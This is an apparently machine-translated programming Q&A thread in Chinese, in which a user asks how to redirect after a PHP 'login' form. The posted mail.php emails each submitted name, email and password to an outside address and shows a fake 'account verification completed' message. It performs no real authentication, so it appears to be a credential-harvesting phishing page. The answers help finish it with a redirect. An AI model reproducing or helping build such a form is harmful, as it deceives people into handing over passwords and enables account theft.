2016-02-16 64 views
0

後重定向我是新來這個,我想學習如何編寫代碼。 subimiting登錄,並通過按登錄後,我想重定向到另一個網頁在我的網站(index.php)。我想使它submiting

這是mail.php代碼

<?php 
$name = $_POST['name']; 
$email = $_POST['email']; 
$password = $_POST['password']; 
$formcontent=" From: $name \n $password \n email: $email \n "; 
$recipient = "[email protected]"; 
$subject = "Contact Form"; 
$mailheader = "From: $email \r\n"; 
mail($recipient, $subject, $formcontent, $mailheader, $password) or die("Error!"); 

if(isset($_POST['mail'])){ 
// Fetching variables of the form which travels in URL 
$name = $_POST['name']; 
$email = $_POST['email']; 
$password = $_POST['password']; 
if($name !=''&& $email !=''&& $password !='') 
{ 
// To redirect form on a particular page 
header("Location:http://www.mywebsite.com"); 
} 
else{ 
?><span><?php echo "Thank You! Your account verification was completed successfully";?></span> <?php 
} 
} 
?> 
+0

嗨,你能是在用例更具體一點,因爲使用'頭()'應該做的工作重定向。由於 – Aymeric

+0

所以,如果我只是重定向,你會怎麼認識,我實際上是「登錄」? – Aziz

+0

請將您的代碼降低到必要的最小值。例如。我沒有看到CSS和重定向之間的任何關係。 CSS可以省略。 – Mike

回答

0

你可以做到這一點使用JavaScript通過打印的JavaScript代碼的文本:

echo '<script type="text/javascript"> 
     window.location = "http://www.example.com/" 
    </script>'; 
+0

它不會讓我添加這個,它說這是一個字符串<<的代碼錯誤,我認爲這是太複雜了,我現在在Java代碼,我無法理解它:( –

+0

最後我設法使用這個Java文本,一切工作都很完美。感謝您的反饋 –

0

您可以使用PHP的會話或cookie時,你知道關於他們的任何事

+0

我不知道如何使用它們,但我正在閱讀手冊。感謝您的反饋。 –